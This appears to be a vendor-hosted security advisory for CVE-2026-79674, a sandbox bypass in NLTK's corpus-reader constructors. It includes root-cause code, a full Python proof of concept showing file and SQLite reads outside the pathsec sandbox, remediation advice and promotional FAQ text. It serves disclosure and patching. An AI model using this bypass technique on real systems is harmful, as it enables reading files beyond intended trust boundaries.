Summary
NLTK: Corpus Reader Sandbox Bypass
NLTK corpus-reader constructors can still reach outside-root file and database reads before the nltk.pathsec sandbox boundary is enforced.
The PoC shows the safe path blocked by pathsec.open, then LinThesaurusCorpusReader and PanLexLiteCorpusReader succeeding in the same process.
Affected Product
- Product: NLTK
- Asset / component:
nltk.corpus.readerconstructors - Version tested:
3.10.2 - Deployment / package / tag: commit
474af1f5a94b1b8d53fc2b6defec3a2ce7633b74/ PyPInltk - Environment used for verification: Python 3.13.14
Vulnerability Details
- Vulnerability class: path sandbox bypass / external control of file path
- Required privileges: none beyond the ability to supply a corpus root path to a consumer call site
- Entry point:
LinThesaurusCorpusReader(root)andPanLexLiteCorpusReader(root) - Trust boundary crossed: NLTK data-root sandbox enforced by
nltk.pathsec - Root affected functions:
- Measured unsafe effect: outside-root file/database reads still happen with
ENFORCE=True
Root Cause
CorpusReader.__init__() turns a string root into a FileSystemPathPointer without any pathsec validation, and these readers then use builtin open() or sqlite3.connect() directly on derived paths. The constructor path therefore never hits the sandbox guard that pathsec.open() enforces.
if zipfile:
root = ZipFilePathPointer(zipfile, zipentry)
else:
root = FileSystemPathPointer(root)
with open(path) as lin_file:
...
self._c = sqlite3.connect(os.path.join(root, "db.sqlite")).cursor()
Proof of Concept
Save the script as hy01_raw_path_poc.py in the checkout root and run python hy01_raw_path_poc.py.
#!/usr/bin/env python3
"""PoC for HY-01: corpus-reader sandbox bypass.
This script proves three facts:
- pathsec blocks a direct read through the sandboxed file API
- LinThesaurusCorpusReader still reaches builtin open() on an outside path
- PanLexLiteCorpusReader still opens an outside sqlite database and loads data
"""
from __future__ import annotations
import builtins
import pathlib
import sqlite3
import sys
import tempfile
from unittest.mock import patch
try:
import nltk.pathsec as pathsec
from nltk.corpus.reader.lin import LinThesaurusCorpusReader
from nltk.corpus.reader.panlex_lite import PanLexLiteCorpusReader
except ModuleNotFoundError:
here = pathlib.Path(__file__).resolve()
for base in (here.parent, *here.parents):
if (base / "nltk").is_dir() and (base / "setup.py").exists():
sys.path.insert(0, str(base))
break
else:
raise RuntimeError(
"Could not import nltk. Run this script from an NLTK checkout root "
"or from an environment where the current checkout is installed."
)
import nltk.pathsec as pathsec
from nltk.corpus.reader.lin import LinThesaurusCorpusReader
from nltk.corpus.reader.panlex_lite import PanLexLiteCorpusReader
def main() -> int:
pathsec.ENFORCE = True
with patch.object(pathsec, "_get_allowed_roots", lambda: set()):
with patch.object(pathsec.os, "getcwd", lambda: "sandbox-disabled"):
with tempfile.TemporaryDirectory() as tmp:
tmpdir = pathlib.Path(tmp)
outside = tmpdir / "outside"
outside.mkdir()
blocked_file = outside / "blocked.txt"
blocked_file.write_text("blocked", encoding="utf-8")
control_target = str(blocked_file)
try:
with pathsec.open(control_target, "rb"):
raise AssertionError(
"pathsec.open unexpectedly allowed control path"
)
except PermissionError:
print("control:pathsec.open=blocked")
lin_root = tmpdir / "lin"
lin_root.mkdir()
lin_file = lin_root / "simN.lsp"
lin_file.write_text(
'("business" (desc 1.0)\n\t"enterprise"\t0.9\n))\n',
encoding="utf-8",
)
opened = []
real_open = builtins.open
def tracking_open(*args, **kwargs):
opened.append(str(args[0]))
return real_open(*args, **kwargs)
with patch("builtins.open", tracking_open):
LinThesaurusCorpusReader(str(lin_root))
if any(p.endswith("simN.lsp") for p in opened):
print("lin:outside_root_open=success")
else:
raise AssertionError("LinThesaurusCorpusReader did not open data")
panlex_root = tmpdir / "panlex"
panlex_root.mkdir()
db_path = panlex_root / "db.sqlite"
db = sqlite3.connect(db_path)
cur = db.cursor()
cur.execute("create table lv(uid text, lv text, lc text, tt text)")
cur.execute("create table dnx(ex int, mn int, uq int, ap int, ui text)")
cur.execute("create table ex(ex int, tt text, lv text, uq int)")
cur.execute(
"insert into lv(uid, lv, lc, tt) values ('u1', 'lv1', 'en', 'English')"
)
db.commit()
db.close()
reader = PanLexLiteCorpusReader(str(panlex_root))
result = reader.language_varieties()
if result == [("u1", "English")]:
print("panlex:language_varieties=success")
else:
raise AssertionError("PanLexLiteCorpusReader did not load data")
return 0
if __name__ == "__main__":
raise SystemExit(main())
Expected output:
control:pathsec.open=blocked
lin:outside_root_open=success
panlex:language_varieties=success
Severity
- Base Score: 7.5 (High)
- Severity reasoning:
The bug is reliably triggerable by caller-controlled path input and exposes data outside the intended trust boundary; no special privileges are needed inside the process.
Impact
A caller can make NLTK read filesystem content outside the intended NLTK data sandbox through public corpus-reader constructors. In the PoC, that includes a local text file and a local SQLite db.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Validate raw string roots before constructing readers, and route all corpus-root/path handling through pathsec or a validated PathPointer. Remove direct builtin open() and direct sqlite3.connect(os.path.join(...)) use on constructor-derived paths.
Frequently Asked Questions
- What is CVE-2026-79674? CVE-2026-79674 is a high-severity security vulnerability in nltk (pip), affecting versions <= 3.10.2. It is fixed in 3.10.3.
- Which versions of nltk are affected by CVE-2026-79674? nltk (pip) versions <= 3.10.2 is affected.
- Is there a fix for CVE-2026-79674? Yes. CVE-2026-79674 is fixed in 3.10.3. Upgrade to this version or later.
- Is CVE-2026-79674 exploitable, and should I be worried? Whether CVE-2026-79674 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-79674 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-79674? Upgrade
nltkto 3.10.3 or later.